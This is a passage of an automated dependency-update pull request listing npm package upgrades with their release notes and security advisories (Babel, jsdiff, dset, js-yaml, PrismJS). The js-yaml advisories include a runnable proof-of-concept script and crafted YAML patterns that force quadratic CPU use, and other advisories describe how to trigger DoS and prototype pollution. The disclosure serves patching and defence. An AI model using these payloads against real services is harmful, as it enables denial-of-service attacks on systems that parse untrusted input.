You use the .replace method on a regular expression that contains named capturing groups

Your code uses untrusted strings as the second argument of .replace

If you are using @babel/preset-env with the targets option, the transform that injects the vulnerable code is automatically enabled if:

you use duplicated named capturing groups, and target any browser older than Chrome/Edge 126, Opera 112, Firefox 129, Safari 17.4, or Node.js 23

you use any named capturing groups, and target any browser older than Chrome 64, Opera 71, Edge 79, Firefox 78, Safari 11.1, or Node.js 10

You can verify what transforms @babel/preset-env is using by enabling the debug option.

Patches

This problem has been fixed in @babel/helpers and @babel/runtime 7.26.10 and 8.0.0-alpha.17, please upgrade. It's likely that you do not directly depend on @babel/helpers, and instead you depend on @babel/core (which itself depends on @babel/helpers). Upgrading to @babel/core 7.26.10 is not required, but it guarantees that you are on a new enough @babel/helpers version.

Please note that just updating your Babel dependencies is not enough: you will also need to re-compile your code.

Workarounds

If you are passing user-provided strings as the second argument of .replace on regular expressions that contain named capturing groups, validate the input and make sure it does not contain the substring $< if it's then not followed by > (possibly with other characters in between).

References

This vulnerability was reported and fixed in #17173.

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 2 commits:

↗️ @esbuild/android-arm (indirect, 0.15.15 → 0.28.1) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 14 commits:

↗️ @jridgewell/gen-mapping (indirect, 0.1.1 → 0.3.13) · Repo · Changelog

Release Notes

0.3.5

What's Changed

Add ignoreList support: 9add0c2

Full Changelog: v0.3.4...v0.3.5

0.3.4

Full Changelog: v0.3.3...v0.3.4

0.3.3

Full Changelog: v0.3.2...v0.3.3

0.3.2

Internal

[meta] fix "exports" for node 13.0-13.6 by @ljharb in #4

Fix built sources paths

New Contributors

@ljharb made their first contribution in #4

Full Changelog: v0.3.1...v0.3.2

Does any of this look wrong? Please let us know.

↗️ @types/babel__core (indirect, 7.1.20 → 7.20.5) · Repo

Sorry, we couldn’t find anything useful about this release.

↗️ @types/babel__generator (indirect, 7.6.4 → 7.27.0) · Repo

Sorry, we couldn’t find anything useful about this release.

↗️ @types/babel__template (indirect, 7.4.1 → 7.4.4) · Repo

Sorry, we couldn’t find anything useful about this release.

↗️ @types/babel__traverse (indirect, 7.18.2 → 7.28.0) · Repo

Sorry, we couldn’t find anything useful about this release.

↗️ @types/hast (indirect, 2.3.4 → 3.0.5) · Repo

Sorry, we couldn’t find anything useful about this release.

↗️ @types/mdast (indirect, 3.0.10 → 4.0.4) · Repo

Sorry, we couldn’t find anything useful about this release.

↗️ argparse (indirect, 1.0.10 → 2.0.1) · Repo · Changelog

Release Notes

2.0.1 (from changelog)

Fixed

Fix issue with process.argv when used with interpreters (coffee, ts-node, etc.), #150.

2.0.0 (from changelog)

Changed

Full rewrite. Now port from python 3.9.0 & more precise following. See doc for difference and migration info.

node.js 10+ required

Removed most of local docs in favour of original ones.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 15 commits:

↗️ autoprefixer (indirect, 10.4.13 → 10.5.4) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ common-ancestor-path (indirect, 1.0.1 → 2.0.0) · Repo

Commits

See the full diff on Github. The new version differs by 2 commits:

↗️ convert-source-map (indirect, 1.9.0 → 2.0.0) · Repo

Commits

See the full diff on Github. The new version differs by 5 commits:

↗️ diff (indirect, 5.1.0 → 8.0.4) · Repo

Security Advisories 🚨

🚨 jsdiff has a Denial of Service vulnerability in parsePatch and applyPatch

Impact

Attempting to parse a patch whose filename headers contain the line break characters \r, \u2028, or \u2029 can cause the parsePatch method to enter an infinite loop. It then consumes memory without limit until the process crashes due to running out of memory.

Applications are therefore likely to be vulnerable to a denial-of-service attack if they call parsePatch with a user-provided patch as input. A large payload is not needed to trigger the vulnerability, so size limits on user input do not provide any protection. Furthermore, some applications may be vulnerable even when calling parsePatch on a patch generated by the application itself if the user is nonetheless able to control the filename headers (e.g. by directly providing the filenames of the files to be diffed).

The applyPatch method is similarly affected if (and only if) called with a string representation of a patch as an argument, since under the hood it parses that string using parsePatch. Other methods of the library are unaffected.

Finally, a second and lesser bug - a ReDOS - also exhibits when those same line break characters are present in a patch's patch header (also known as its "leading garbage"). A maliciously-crafted patch header of length n can take parsePatch O(n³) time to parse.

Patches

All vulnerabilities described are fixed in v8.0.3.

Workarounds

If using a version of jsdiff earlier than v8.0.3, do not attempt to parse patches that contain any of these characters: \r, \u2028, or \u2029.

References

PR that fixed the bug: #649

CVE Notes

Note that although the advisory describes two bugs, they each enable exactly the same attack vector (that an attacker who controls input to parsePatch can cause a DOS). Fixing one bug without fixing the other therefore does not fix the vulnerability and does not provide any security benefit. Therefore we assume that the bugs cannot possibly constitute Independently Fixable Vulnerabilities in the sense of CVE CNA rule 4.2.11, but rather that this advisory is properly construed under the rules as describing a single Vulnerability.

🚨 jsdiff has a Denial of Service vulnerability in parsePatch and applyPatch

Impact

Attempting to parse a patch whose filename headers contain the line break characters \r, \u2028, or \u2029 can cause the parsePatch method to enter an infinite loop. It then consumes memory without limit until the process crashes due to running out of memory.

Applications are therefore likely to be vulnerable to a denial-of-service attack if they call parsePatch with a user-provided patch as input. A large payload is not needed to trigger the vulnerability, so size limits on user input do not provide any protection. Furthermore, some applications may be vulnerable even when calling parsePatch on a patch generated by the application itself if the user is nonetheless able to control the filename headers (e.g. by directly providing the filenames of the files to be diffed).

The applyPatch method is similarly affected if (and only if) called with a string representation of a patch as an argument, since under the hood it parses that string using parsePatch. Other methods of the library are unaffected.

Finally, a second and lesser bug - a ReDOS - also exhibits when those same line break characters are present in a patch's patch header (also known as its "leading garbage"). A maliciously-crafted patch header of length n can take parsePatch O(n³) time to parse.

Patches

All vulnerabilities described are fixed in v8.0.3.

Workarounds

If using a version of jsdiff earlier than v8.0.3, do not attempt to parse patches that contain any of these characters: \r, \u2028, or \u2029.

References

PR that fixed the bug: #649

CVE Notes

Note that although the advisory describes two bugs, they each enable exactly the same attack vector (that an attacker who controls input to parsePatch can cause a DOS). Fixing one bug without fixing the other therefore does not fix the vulnerability and does not provide any security benefit. Therefore we assume that the bugs cannot possibly constitute Independently Fixable Vulnerabilities in the sense of CVE CNA rule 4.2.11, but rather that this advisory is properly construed under the rules as describing a single Vulnerability.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ dset (indirect, 3.1.2 → 3.1.4) · Repo

Security Advisories 🚨

🚨 dset Prototype Pollution vulnerability

Versions of the package dset before 3.1.4 are vulnerable to Prototype Pollution via the dset function due improper user input sanitization. This vulnerability allows the attacker to inject malicious object property using the built-in Object property proto, which is recursively assigned to all the objects in the program.

Release Notes

3.1.3

Patches

Add "types" export conditions for TypeScript "nodenext"/"node16" resolution: #40
Thank you @Akkuma

Full Changelog: v3.1.2...v3.1.3

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 4 commits:

↗️ fraction.js (indirect, 4.2.0 → 5.3.4) · Repo · Changelog

↗️ github-slugger (indirect, 1.5.0 → 2.0.0) · Repo · Changelog

Release Notes

2.0.0

What's Changed

Use ESM by @wooorm in #43
breaking: please read this guide

Add types by @wooorm in #44
breaking: tiny chance of breaking, use a new version of TS and it’ll work

Full Changelog: v1.5.0...2.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 11 commits:

↗️ hast-util-from-parse5 (indirect, 7.1.0 → 8.0.3) · Repo

Release Notes

8.0.3

6fe681d Update property-information

Full Changelog: 8.0.2...8.0.3

8.0.2

Miscellaneous

c25d628 Update hastscript
by @albinekb in #14

Types

f401100 Refactor types

19e59f5 Refactor to use @imports

029fcd7 Add declaration maps

Full Changelog: 8.0.1...8.0.2

8.0.1

Fix

3c42476 Fix type of optional option

Full Changelog: 8.0.0...8.0.1

8.0.0

Change

cc4e5c5 Update @types/hast, utilities
migrate: update too

0c76e8a Change to require Node.js 16
migrate: update too

a227695 Change to use exports
migrate: don’t use private APIs

81cde21 Remove support for passing file directly
migrate: x -> {file: x}

Types

c6bd56c Add types of data fields
expect values to be typed :)

Full Changelog: 7.1.2...8.0.0

7.1.2

Fix

78ff3b5 Fix some props

Full Changelog: 7.1.1...7.1.2

7.1.1

Misc

00413a1 3bd13d7 Add improved docs

ab3559e Add export of Space type

5e813f0 b344419 Update types and tests for changes in parse5

Full Changelog: 7.1.0...7.1.1

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Commits

See the full diff on Github. The new version differs by 50 commits:

↗️ hast-util-parse-selector (indirect, 3.1.0 → 4.0.0) · Repo

Release Notes

4.0.0

Change

b64572f Update @types/hast
migrate: update too

7075bc4 Change to require Node.js 16
migrate: update too

6363e82 Remove support for TS 4.1
migrate: update too

339b417 Change to use exports
migrate: don’t use private APIs

Full Changelog: 3.1.1...4.0.0

3.1.1

Misc

d2bf5af Add improved docs

Full Changelog: 3.1.0...3.1.1

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 30 commits:

↗️ hastscript (indirect, 7.1.0 → 9.0.1) · Repo

Release Notes

9.0.1

91f71e3 Update property-information

Full Changelog: 9.0.0...9.0.1

9.0.0

Breaking

8a5f97e Add better custom element support by tightening overload detection
(tiny chance of breaking, you’re most likely fine)

8.0.0

change

04a40a5 Update @types/hast, utilities
migrate: update too

234405b Change to require Node.js 16
migrate: update too

7e27d65 Remove hastscript/html (auto runtime) from exports
migrate: use hastscript

6976cbb Remove hastscript/html, hastscript/svg from exports
migrate: use hastscript

Full Changelog: 7.2.0...8.0.0

7.2.0

Add

f06247f Add JSX dev runtime

Misc

e4f646e Add improved docs

9551cf0 Add more docs to types

53361dd Update tsconfig.json

Full Changelog: 7.1.0...7.2.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 49 commits:

↗️ js-yaml (indirect, 3.14.1 → 4.3.0) · Repo · Changelog

Security Advisories 🚨

🚨 js-yaml: YAML merge-key chains can force quadratic CPU consumption

Impact

js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:
a0: &a0 { k0: 0 }
a1: &a1 { <<: *a0, k1: 1 }
a2: &a2 { <<: *a1, k2: 2 }
a3: &a3 { <<: *a2, k3: 3 }
...
b: *aN
For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.

PoC

From N = 4000 delay become > 1s (doc size < 100K)
import { performance } from 'node:perf_hooks'
import { Buffer } from 'node:buffer'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = Number(process.argv[2] || 4000)

function makeMergeChain (count) {
  const lines = ['a0: &a0 { k0: 0 }']

  for (let i = 1; i < count; i++) {
    lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`)
  }

  lines.push(`b: *a${count - 1}`)
  return `${lines.join('\n')}\n`
}

const source = makeMergeChain(n)

console.log(source.split('\n').slice(0, 8).join('\n'))
console.log('...')
console.log(source.split('\n').slice(-4).join('\n'))
console.log()
console.log(`N: ${n}`)
console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)

const started = performance.now()
const result = load(source, { schema: YAML11_SCHEMA })
const elapsed = performance.now() - started

console.log(`parse time: ${elapsed.toFixed(1)} ms`)
console.log(`top-level keys: ${Object.keys(result).length}`)
console.log(`b keys: ${Object.keys(result.b).length}`)
Patches

Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.

🚨 js-yaml: YAML merge-key chains can force quadratic CPU consumption

Impact

js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:
a0: &a0 { k0: 0 }
a1: &a1 { <<: *a0, k1: 1 }
a2: &a2 { <<: *a1, k2: 2 }
a3: &a3 { <<: *a2, k3: 3 }
...
b: *aN
For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.

PoC

From N = 4000 delay become > 1s (doc size < 100K)
import { performance } from 'node:perf_hooks'
import { Buffer } from 'node:buffer'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = Number(process.argv[2] || 4000)

function makeMergeChain (count) {
  const lines = ['a0: &a0 { k0: 0 }']

  for (let i = 1; i < count; i++) {
    lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`)
  }

  lines.push(`b: *a${count - 1}`)
  return `${lines.join('\n')}\n`
}

const source = makeMergeChain(n)

console.log(source.split('\n').slice(0, 8).join('\n'))
console.log('...')
console.log(source.split('\n').slice(-4).join('\n'))
console.log()
console.log(`N: ${n}`)
console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)

const started = performance.now()
const result = load(source, { schema: YAML11_SCHEMA })
const elapsed = performance.now() - started

console.log(`parse time: ${elapsed.toFixed(1)} ms`)
console.log(`top-level keys: ${Object.keys(result).length}`)
console.log(`b keys: ${Object.keys(result.b).length}`)
Patches

Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.

🚨 JS-YAML: Quadratic-complexity DoS in merge key handling via repeated aliases

Summary

A crafted YAML document can trigger algorithmic CPU exhaustion in js-yaml merge-key processing (<<) by repeating the same alias many times in a merge sequence.
This causes quadratic parse-time behavior relative to input size and can block a Node.js worker/event loop for seconds with a relatively small payload (tens of KB), resulting in denial of service.

Details

The issue is in merge handling inside lib/loader.js:

storeMappingPair(...) iterates every element of a merge sequence when key tag is tag:yaml.org,2002:merge.

For each element, it calls mergeMappings(...).

mergeMappings(...) computes Object.keys(source) and performs _hasOwnProperty.call(destination, key) checks for each key.

When input is of the form:

a: &a {k0:0, k1:0, ..., kK:0}
b: {<<: [*a, *a, *a, ... repeated M times ...]}
all *a entries refer to the same anchored object. After the first merge, subsequent merges are semantically no-ops, but the parser still reprocesses all keys each time.
Resulting work is O(K * M), while input size is O(K + M), giving quadratic scaling as payload grows.
Relevant code path:
lib/loader.js in storeMappingPair(...) merge branch (keyTag === 'tag:yaml.org,2002:merge')
lib/loader.js mergeMappings(...)

Root cause

File: lib/loader.js
Function: storeMappingPair(state, _result, overridableKeys, keyTag, keyNode,
valueNode, startLine, startLineStart, startPos)
Lines: ~359-366
if (keyTag === 'tag:yaml.org,2002:merge') {
  if (Array.isArray(valueNode)) {
    for (index = 0, quantity = valueNode.length; index < quantity; index += 1) {
      mergeMappings(state, _result, valueNode[index], overridableKeys);
    }
  } else {
    mergeMappings(state, _result, valueNode, overridableKeys);
  }
}
When the merge value is a sequence (YAML 1.1 <<: [ *a, *a, ... ]), each element
is handed to mergeMappings() without deduplication. mergeMappings() then does
sourceKeys = Object.keys(source);
for (index = 0; index < sourceKeys.length; index += 1) {
  key = sourceKeys[index];
  if (!_hasOwnProperty.call(destination, key)) {
    setProperty(destination, key, source[key]);
    overridableKeys[key] = true;
  }
}
Every alias reference in the sequence resolves (by design) to the SAME object
via state.anchorMap. After the first merge, every subsequent merge of that same
reference is a pure no-op semantically, but still performs:

one Object.keys(source) call (O(K))

K _hasOwnProperty.call checks on the destination

Total: M * K hasOwnProperty checks + M Object.keys allocations, while the final
object and all observable side effects are identical to a single merge.

YAML semantics for <<: are idempotent and commutative over duplicate sources,
so collapsing duplicates preserves behavior exactly; this isn't a spec trade-off.

PoC

Environment:
js-yaml version: 4.1.1
Node.js: v24.5.0
Platform: arm64 macOS (reproduced consistently)
Reproduction script:
Create many keys in one anchored map (&a).
Merge that same alias repeatedly via <<: [*a, *a, ...].
Measure parse time and compare with control payload using single merge (<<: *a).
Observed repeated runs (same machine):
K=M=1000, input 9,909 bytes: ~33–36 ms
K=M=2000, input 20,909 bytes: ~121–123 ms
K=M=4000, input 42,909 bytes: ~524–537 ms
K=M=6000, input 64,909 bytes: ~1,608–1,829 ms
K=M=8000, input 86,909 bytes: ~3,395–3,565 ms
Control (single merge, similar key counts):
K=2000: ~1–2 ms
K=4000: ~3 ms
K=8000: ~5 ms
Also verified: repeated-merge output equals single-merge output (same key count and same JSON), confirming excess time is redundant computation.

Impact

This is a denial-of-service vulnerability (CPU exhaustion / algorithmic complexity).
Any service parsing untrusted YAML with js-yaml can be impacted, including API backends, CI tools, config processors, and automation services. An attacker can submit crafted YAML to significantly increase CPU time and reduce availability.

Suggested fix:

Dedupe the merge source list by reference before invoking mergeMappings. Any of
the following are minimal and preserve YAML 1.1 merge semantics:

dedupe in storeMappingPair:
if (keyTag === 'tag:yaml.org,2002:merge') {
  if (Array.isArray(valueNode)) {
    var seen = new Set();
    for (index = 0, quantity = valueNode.length; index < quantity; index += 1) {
      var src = valueNode[index];
      if (seen.has(src)) continue;   // idempotent; skip redundant alias
      seen.add(src);
      mergeMappings(state, _result, src, overridableKeys);
    }
  } else {
    mergeMappings(state, _result, valueNode, overridableKeys);
  }
}

🚨 JS-YAML: Quadratic-complexity DoS in merge key handling via repeated aliases

Summary

A crafted YAML document can trigger algorithmic CPU exhaustion in js-yaml merge-key processing (<<) by repeating the same alias many times in a merge sequence.
This causes quadratic parse-time behavior relative to input size and can block a Node.js worker/event loop for seconds with a relatively small payload (tens of KB), resulting in denial of service.

Details

The issue is in merge handling inside lib/loader.js:

storeMappingPair(...) iterates every element of a merge sequence when key tag is tag:yaml.org,2002:merge.

For each element, it calls mergeMappings(...).

mergeMappings(...) computes Object.keys(source) and performs _hasOwnProperty.call(destination, key) checks for each key.

When input is of the form:

a: &a {k0:0, k1:0, ..., kK:0}
b: {<<: [*a, *a, *a, ... repeated M times ...]}
all *a entries refer to the same anchored object. After the first merge, subsequent merges are semantically no-ops, but the parser still reprocesses all keys each time.
Resulting work is O(K * M), while input size is O(K + M), giving quadratic scaling as payload grows.
Relevant code path:
lib/loader.js in storeMappingPair(...) merge branch (keyTag === 'tag:yaml.org,2002:merge')
lib/loader.js mergeMappings(...)

Root cause

File: lib/loader.js
Function: storeMappingPair(state, _result, overridableKeys, keyTag, keyNode,
valueNode, startLine, startLineStart, startPos)
Lines: ~359-366
if (keyTag === 'tag:yaml.org,2002:merge') {
  if (Array.isArray(valueNode)) {
    for (index = 0, quantity = valueNode.length; index < quantity; index += 1) {
      mergeMappings(state, _result, valueNode[index], overridableKeys);
    }
  } else {
    mergeMappings(state, _result, valueNode, overridableKeys);
  }
}
When the merge value is a sequence (YAML 1.1 <<: [ *a, *a, ... ]), each element
is handed to mergeMappings() without deduplication. mergeMappings() then does
sourceKeys = Object.keys(source);
for (index = 0; index < sourceKeys.length; index += 1) {
  key = sourceKeys[index];
  if (!_hasOwnProperty.call(destination, key)) {
    setProperty(destination, key, source[key]);
    overridableKeys[key] = true;
  }
}
Every alias reference in the sequence resolves (by design) to the SAME object
via state.anchorMap. After the first merge, every subsequent merge of that same
reference is a pure no-op semantically, but still performs:

one Object.keys(source) call (O(K))

K _hasOwnProperty.call checks on the destination

Total: M * K hasOwnProperty checks + M Object.keys allocations, while the final
object and all observable side effects are identical to a single merge.

YAML semantics for <<: are idempotent and commutative over duplicate sources,
so collapsing duplicates preserves behavior exactly; this isn't a spec trade-off.

PoC

Environment:
js-yaml version: 4.1.1
Node.js: v24.5.0
Platform: arm64 macOS (reproduced consistently)
Reproduction script:
Create many keys in one anchored map (&a).
Merge that same alias repeatedly via <<: [*a, *a, ...].
Measure parse time and compare with control payload using single merge (<<: *a).
Observed repeated runs (same machine):
K=M=1000, input 9,909 bytes: ~33–36 ms
K=M=2000, input 20,909 bytes: ~121–123 ms
K=M=4000, input 42,909 bytes: ~524–537 ms
K=M=6000, input 64,909 bytes: ~1,608–1,829 ms
K=M=8000, input 86,909 bytes: ~3,395–3,565 ms
Control (single merge, similar key counts):
K=2000: ~1–2 ms
K=4000: ~3 ms
K=8000: ~5 ms
Also verified: repeated-merge output equals single-merge output (same key count and same JSON), confirming excess time is redundant computation.

Impact

This is a denial-of-service vulnerability (CPU exhaustion / algorithmic complexity).
Any service parsing untrusted YAML with js-yaml can be impacted, including API backends, CI tools, config processors, and automation services. An attacker can submit crafted YAML to significantly increase CPU time and reduce availability.

Suggested fix:

Dedupe the merge source list by reference before invoking mergeMappings. Any of
the following are minimal and preserve YAML 1.1 merge semantics:

dedupe in storeMappingPair:
if (keyTag === 'tag:yaml.org,2002:merge') {
  if (Array.isArray(valueNode)) {
    var seen = new Set();
    for (index = 0, quantity = valueNode.length; index < quantity; index += 1) {
      var src = valueNode[index];
      if (seen.has(src)) continue;   // idempotent; skip redundant alias
      seen.add(src);
      mergeMappings(state, _result, src, overridableKeys);
    }
  } else {
    mergeMappings(state, _result, valueNode, overridableKeys);
  }
}

🚨 js-yaml has prototype pollution in merge (<<)

Impact

In js-yaml 4.1.0, 4.0.0, and 3.14.1 and below, it's possible for an attacker to modify the prototype of the result of a parsed yaml document via prototype pollution (__proto__). All users who parse untrusted yaml documents may be impacted.

Patches

Problem is patched in js-yaml 4.1.1 and 3.14.2.

Workarounds

You can protect against this kind of attack on the server by using node --disable-proto=delete or deno (in Deno, pollution protection is on by default).

References

https://cheatsheetseries.owasp.org/cheatsheets/Prototype_Pollution_Prevention_Cheat_Sheet.html

🚨 js-yaml has prototype pollution in merge (<<)

Impact

In js-yaml 4.1.0, 4.0.0, and 3.14.1 and below, it's possible for an attacker to modify the prototype of the result of a parsed yaml document via prototype pollution (__proto__). All users who parse untrusted yaml documents may be impacted.

Patches

Problem is patched in js-yaml 4.1.1 and 3.14.2.

Workarounds

You can protect against this kind of attack on the server by using node --disable-proto=delete or deno (in Deno, pollution protection is on by default).

References

https://cheatsheetseries.owasp.org/cheatsheets/Prototype_Pollution_Prevention_Cheat_Sheet.html

Release Notes

4.3.0 (from changelog)

Security

Backported maxTotalMergeKeys option.

4.2.0 (from changelog)

Added

Added docs/safety.md with notes about processing untrusted YAML.

Added maxDepth (100) loader option. Not a problem, but gives a better exception instead of RangeError on stack overflow.

Added maxMergeSeqLength (20) loader option. Not a problem after merge fix, but an additional restriction for safety.

Added sourcemaps to dist/ builds.

Changed

Stop resolving numbers with underscores as numeric scalars, #627.

Switched dev toolchains to Vite / neostandard.

Updated demo.

Reorganized tests.

dist/ files are no longer kept in the repository.

Fixed

Fix parsing of properties on the first implicit block mapping key, #62.

Fix trailing whitespace handling when folding flow scalar lines, #307.

Reject top-level block scalars without content indentation, #280.

Ensure numbers survive round-trip, #737.

Fix test coverage for issue #221.

Fix flow scalar trailing whitespace folding, #307.

Fix digits in YAML named tag handles.

Security

Fix potential DoS via quadratic complexity in merge - deduplicate repeated elements (makes sense for malformed files > 10K).

4.1.1 (from changelog)

Security

Fix prototype pollution issue in yaml merge (<<) operator.

4.1.0 (from changelog)

Added

Types are now exported as yaml.types.XXX.

Every type now has options property with original arguments kept as they were (see yaml.types.int.options as an example).

Changed

Schema.extend() now keeps old type order in case of conflicts (e.g. Schema.extend([ a, b, c ]).extend([ b, a, d ]) is now ordered as abcd instead of cbad).

4.0.0 (from changelog)

Changed

Check migration guide to see details for all breaking changes.

Breaking: "unsafe" tags !!js/function, !!js/regexp, !!js/undefined are moved to js-yaml-js-types package.

Breaking: removed safe* functions. Use load, loadAll, dump instead which are all now safe by default.

yaml.DEFAULT_SAFE_SCHEMA and yaml.DEFAULT_FULL_SCHEMA are removed, use yaml.DEFAULT_SCHEMA instead.

yaml.Schema.create(schema, tags) is removed, use schema.extend(tags) instead.

!!binary now always mapped to Uint8Array on load.

Reduced nesting of /lib folder.

Parse numbers according to YAML 1.2 instead of YAML 1.1 (01234 is now decimal, 0o1234 is octal, 1:23 is parsed as string instead of base60).

dump() no longer quotes :, [, ], (, ) except when necessary, #470, #557.

Line and column in exceptions are now formatted as (X:Y) instead of at line X, column Y (also present in compact format), #332.

Code snippet created in exceptions now contains multiple lines with line numbers.

dump() now serializes undefined as null in collections and removes keys with undefined in mappings, #571.

dump() with skipInvalid=true now serializes invalid items in collections as null.

Custom tags starting with ! are now dumped as !tag instead of !<!tag>, #576.

Custom tags starting with tag:yaml.org,2002: are now shorthanded using !!, #258.

Added

Added .mjs (es modules) support.

Added quotingType and forceQuotes options for dumper to configure string literal style, #290, #529.

Added styles: { '!!null': 'empty' } option for dumper (serializes { foo: null } as "foo: "), #570.

Added replacer option (similar to option in JSON.stringify), #339.

Custom Tag can now handle all tags or multiple tags with the same prefix, #385.

Fixed

Astral characters are no longer encoded by dump(), #587.

"duplicate mapping key" exception now points at the correct column, #452.

Extra commas in flow collections (e.g. [foo,,bar]) now throw an exception instead of producing null, #321.

__proto__ key no longer overrides object prototype, #164.

Removed bower.json.

Tags are now url-decoded in load() and url-encoded in dump() (previously usage of custom non-ascii tags may have led to invalid YAML that can't be parsed).

Anchors now work correctly with empty nodes, #301.

Fix incorrect parsing of invalid block mapping syntax, #418.

Throw an error if block sequence/mapping indent contains a tab, #80.

3.14.2 (from changelog)

Security

Backported v4.1.1 fix to v3

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ jsonc-parser (indirect, 2.3.1 → 3.3.1) · Repo · Changelog

Release Notes

3.3.1

Changes:

#92: remove exports, prepare 3.3.1

This list of changes was auto generated.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 42 commits:

↗️ magic-string (indirect, 0.25.9 → 0.30.21) · Repo · Changelog

Release Notes

0.30.21

No significant changes

View changes on GitHub

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ prismjs (indirect, 1.29.0 → 1.30.0) · Repo · Changelog

Security Advisories 🚨

🚨 PrismJS DOM Clobbering vulnerability

Prism (aka PrismJS) through 1.29.0 allows DOM Clobbering (with resultant XSS for untrusted input that contains HTML but does not directly contain JavaScript), because document.currentScript lookup can be shadowed by attacker-injected HTML elements.

Release Notes

1.30.0

What's Changed

check that currentScript is set by a script tag by @lkuechler in #3863

New Contributors

@lkuechler made their first contribution in #3863

Full Changelog: v1.29.0...v1.30.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 7 commits:

↗️ property-information (indirect, 6.2.0 → 7.2.0) · Repo

Release Notes

7.2.0

Add

cb86e8b Add new properties

Fix

992bfbc Add number for colSpan
by @johanrd in #26

Full Changelog: 7.1.0...7.2.0

7.1.0

776d2a2 Change hidden to overloadedBoolean
by @deebov in #24

Full Changelog: 7.0.0...7.1.0

7.0.0

Change

7aa0142 Change to require Node.js 16
migrate: update too

d95d0e5 Add export map
migrate: don’t use private APIs

Types

632c933 Add declaration maps

Full Changelog: 6.5.0...7.0.0

6.5.0

5eb7b1a Add shadowRootClonable, writingSuggestions

Full Changelog: 6.4.1...6.5.0

6.4.1

172b09b Fix candidate capture to be string

Full Changelog: 6.4.0...6.4.1

6.4.0

4f47923 Add onBeforeToggle, shadowRootDelegatesFocus, shadowRootMode

Full Changelog: 6.3.0...6.4.0

6.3.0

Data

d2b13fb Add blocking, fetchPriority, inert, popover, etc

Miosc

f66247a Update derivative work license for react
by @AndyScherzinger in #17

Full Changelog: 6.2.0...6.3.0

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Commits

See the full diff on Github. The new version differs by 42 commits:

↗️ shiki (indirect, 0.11.1 → 4.3.1) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 2 commits:

↗️ tslib (indirect, 2.4.1 → 2.8.1) · Repo

Release Notes

2.8.1

What's Changed

Fix publish workflow by @andrewbranch in #271

Include non-enumerable keys in __importStar helper by @rbuckton in #272

Remove use of ES2015 syntax by @andrewbranch in #275

Full Changelog: v2.8.0...v2.8.1

2.8.0

What's Changed

Validate export structure of every entrypoint by @andrewbranch in #269

Add rewriteRelativeImportExtension helper by @andrewbranch in #270

Full Changelog: v2.7.0...v2.8.0

2.7.0

What's Changed

Implement deterministic collapse of await in await using by @rbuckton in #262

Use global 'Iterator.prototype' for downlevel generators by @rbuckton in #267

Full Changelog: v2.6.3...v2.7.0

2.6.3

What's Changed

'await using' normative changes by @rbuckton in #258

Full Changelog: v2.6.2...v2.6.3

2.6.2

What's Changed

Fix path to exports["module"]["types"] by @andrewbranch in #217

Full Changelog: v2.6.1...v2.6.2

2.6.1

What's Changed

Allow functions as values in __addDisposableResource by @rbuckton in #215

Stop using es6 syntax in the es6 file by @andrewbranch in #216

Full Changelog: 2.6.0...v2.6.1

2.6.0

What's Changed

Add helpers for using and await using by @rbuckton in #213

Full Changelog: v2.5.3...2.6.0

2.5.3

What's Changed

Do not reference tslib.es6.js from package.json exports by @andrewbranch in #208

Full Changelog: 2.5.2...v2.5.3

2.5.2

This release explicitly re-exports helpers to work around TypeScript's incomplete symbol resolution for tslib.

2.5.1

This release of tslib provides fixes for two issues.

First, it reverses the order of init hooks provided by decorators to correctly reflect proposed behavior.

Second, it corrects the exports field of tslib's package.json and provides accurate declaration files so that it may be consumed under the node16 and bundler settings for moduleResolution.

2.5.0

What's New

Fix asyncDelegator reporting done too early by @apendua in #187

Add support for TypeScript 5.0's __esDecorate and related helpers by @rbuckton in #193

Full Changelog: 2.4.1...2.5.0

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Commits

See the full diff on Github. The new version differs by 71 commits:

↗️ vfile (indirect, 5.3.6 → 6.0.3) · Repo · Changelog

Release Notes

6.0.3

467f480 Remove unused dependency
by @bluwy in #91

Full Changelog: 6.0.2...6.0.3

6.0.2

Performance

aeae47e Refactor to prevent calling cwd if not needed

Miscellaneous

f364b8f Refactor to use import maps

Types

9370bac Add declaration maps

7a42da4 Refactor types

Full Changelog: 6.0.1...6.0.2

6.0.1

Types

f9f3c8f Update @types/unist

Full Changelog: 6.0.0...6.0.1

6.0.0

Change

46dd635 Change to require Node.js 16
migrate: update Node

f72469b Change to use export map
migrate: don’t use private APIs

f4edd0d Change to replace Buffer with Uint8Array
